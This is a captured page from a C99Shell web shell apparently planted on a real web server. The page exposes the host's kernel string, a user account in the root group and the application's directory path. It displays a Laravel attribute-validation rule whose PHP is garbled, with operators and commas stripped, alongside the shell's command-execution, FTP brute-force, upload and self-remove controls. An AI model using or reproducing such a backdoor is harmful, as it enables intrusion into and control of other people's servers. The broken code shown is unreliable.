!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Rules/   drwxr-xr-x
Free 25.86 GB of 117.98 GB (21.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckAttribute.php (6.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package CheckAttribute
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 21-09-2021
 */
namespace App\Rules;

use 
App\Models\Attribute;
use 
App\Models\AttributeValue;
use 
App\Models\CategoryAttribute;
use 
Illuminate\Contracts\Validation\Rule;

class 
CheckAttribute implements Rule
{
    protected 
$category;
    protected 
$errorMessage;
    protected 
$attributeErrorMessage;
    protected 
$attributeValueErrorMessage;
    protected 
$attributeRequired;
    
/**
     * Create a new rule instance.
     *
     * @return void
     */
    
public function __construct($category_id null)
    {
        
$this->category $category_id;
        
$this->attributeErrorMessage __('Invalid :x', ['x' => __('Attribute')]);
        
$this->attributeValueErrorMessage __('The selected :x is invalid.', ['x' => __('Attribute Value')]);
        
$this->attributeRequired __(':x is required.',['x' => __('Attribute')]);
    }

    
/**
     * Determine if the validation rule passes.
     *
     * @param string $attribute
     * @param  mixed  $value
     * @return bool
     */
    
public function passes($attribute$value)
    {
        
$requiredAttribute CategoryAttribute::select('attribute_id')->distinct()->where('category_id',$this->category)->WhereHas('attribute', function ($query) {
            
$query->where('status''Active');
            
$query->where('is_required'1);
        })->
with('attribute')->pluck ('attribute_id')->toArray();
        if (!empty(
$requiredAttribute)) {
            if (
count(array_diff($requiredAttributearray_keys($value))) == 0) {
                
$categoryAttribute CategoryAttribute::select('attribute_id')->distinct()->where('category_id',$this->category)->WhereHas('attribute', function ($query) {
                    
$query->where('status''Active');
                })->
with('attribute')->pluck ('attribute_id')->toArray();
                foreach (
$categoryAttribute as $attr) {
                    
$attributeDetails Attribute::getAll()->where('id'$attr)->first();
                    
$categoryAttributeRequired[$attributeDetails->id] = $attributeDetails->is_required;
                    
$categoryAttributeType[$attributeDetails->id] = $attributeDetails->type;
                }
                
$attributeValue AttributeValue::getAll()->whereIn('attribute_id',$categoryAttribute)->pluck('value')->toArray();
                foreach (
$value as $key => $attribute) {
                    if (
in_array($key$categoryAttribute)) {
                        if (
$categoryAttributeRequired[$key] == 1) {
                            if (
$this->checkAttributeValue($categoryAttributeType[$key], $attribute$attributeValue) == true) {
                                continue;
                            } else {
                                return 
false;
                            }
                        } elseif (
$categoryAttributeRequired[$key] == 0) {
                            if (
$this->checkAttributeValue($categoryAttributeType[$key], $attribute$attributeValuefalse) == true) {
                                continue;
                            } else {
                                return 
false;
                            }
                        } else {
                            
$this->errorMessage $this->attributeErrorMessage;
                            return 
false;
                        }
                    } else {
                        
$this->errorMessage $this->attributeErrorMessage;
                        return 
false;
                    }
                }
                return 
true;
            } else {
                
$this->errorMessage $this->attributeRequired;
                return 
false;
            }
        } else {
            return 
true;
        }
    }

    
/**
     * Check Attribute Value
     *
     * @param null $type
     * @param null $attribute
     * @param array $attributeValue
     * @param bool $required
     * @return bool|void
     */
    
public function checkAttributeValue($type null$attribute null$attributeValue = [], $required true)
    {
        if (
$type != 'field' ) {
            if (
$type == 'multiple_select') {
                if (
$required == true && count($attribute) == 0) {
                    
$this->errorMessage $this->attributeRequired;
                    return 
false;
                } else {
                    foreach (
$attribute as $multipleAttributeValue) {
                        if (
in_array($multipleAttributeValue$attributeValue)) {
                            return 
true;
                        } else {
                            
$this->errorMessage $this->attributeValueErrorMessage;
                            return 
false;
                        }
                    }
                }
            } elseif (
$required == true && strlen($attribute) == 0) {
                
$this->errorMessage $this->attributeRequired;
                return 
false;
            } elseif (
strlen($attribute) > && in_array($attribute$attributeValue)) {
                return 
true;
            } elseif (
$required == false) {
                if (
strlen($attribute) > 0) {
                    if (
in_array($attribute$attributeValue)) {
                        return 
true;
                    }
                    
$this->errorMessage $this->attributeValueErrorMessage;
                    return 
false;
                } else {
                    return 
true;
                }
            } else {
                
$this->errorMessage $this->attributeValueErrorMessage;
                return 
false;
            }
        }
        if (
$required == true && $type == 'field') {
            if (
strlen($attribute) > 0) {
                return 
true;
            } else {
                
$this->errorMessage $this->attributeRequired;
                return 
false;
            }
        } else {
            return 
true;
        }
    }

    
/**
     * Get the validation error message.
     *
     * @return string
     */
    
public function message()
    {
        return 
$this->errorMessage;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--